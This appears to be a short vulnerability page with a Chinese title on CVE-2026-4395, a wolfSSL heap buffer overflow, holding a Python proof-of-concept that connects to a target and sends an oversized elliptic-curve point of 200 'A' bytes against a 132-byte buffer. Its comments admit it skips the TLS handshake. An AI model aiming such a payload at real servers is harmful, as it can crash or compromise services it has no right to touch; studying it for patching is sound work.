CVE-2026-4395 wolfSSL堆缓冲区溢出漏洞

import socket import struct # Conceptual Proof of Concept for CVE-2026-4395 # This script demonstrates the logic of sending a malformed EC point # during a TLS handshake to trigger the buffer overflow in wolfSSL. def create_malformed_ec_point(): """ Creates a malicious EC point. Normal uncompressed point structure: 0x04 + X + Y. Here we create a point larger than the 132-byte buffer (pubkey_raw). """ # 0x04 indicates uncompressed form prefix = b'\x04' # Generate attacker-controlled data exceeding 132 bytes # The buffer size is 132, so we send significantly more to cause overflow. payload = b'A' * 200 return prefix + payload def send_malformed_tls_handshake(target_ip, target_port): """ Attempts to send a crafted TLS handshake fragment. Note: A full TLS handshake implementation is required for actual exploitation. This is a simplified demonstration of the network interaction. """ try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # In a real exploit, send ClientHello, receive ServerHello, etc. # Then send the ClientKeyExchange or ServerKeyExchange containing the bad point. malformed_data = create_malformed_ec_point() print(f"[*] Sending malformed EC point payload ({len(malformed_data)} bytes)...") # Sending raw payload (Conceptual) s.send(malformed_data) print("[+] Payload sent. Check if the target service crashed.") s.close() except Exception as e: print(f"[-] Error during connection or transmission: {e}") if __name__ == "__main__": # Example usage (Replace with actual target for testing) # send_malformed_tls_handshake("127.0.0.1", 4433) print("This is a conceptual PoC script for CVE-2026-4395.")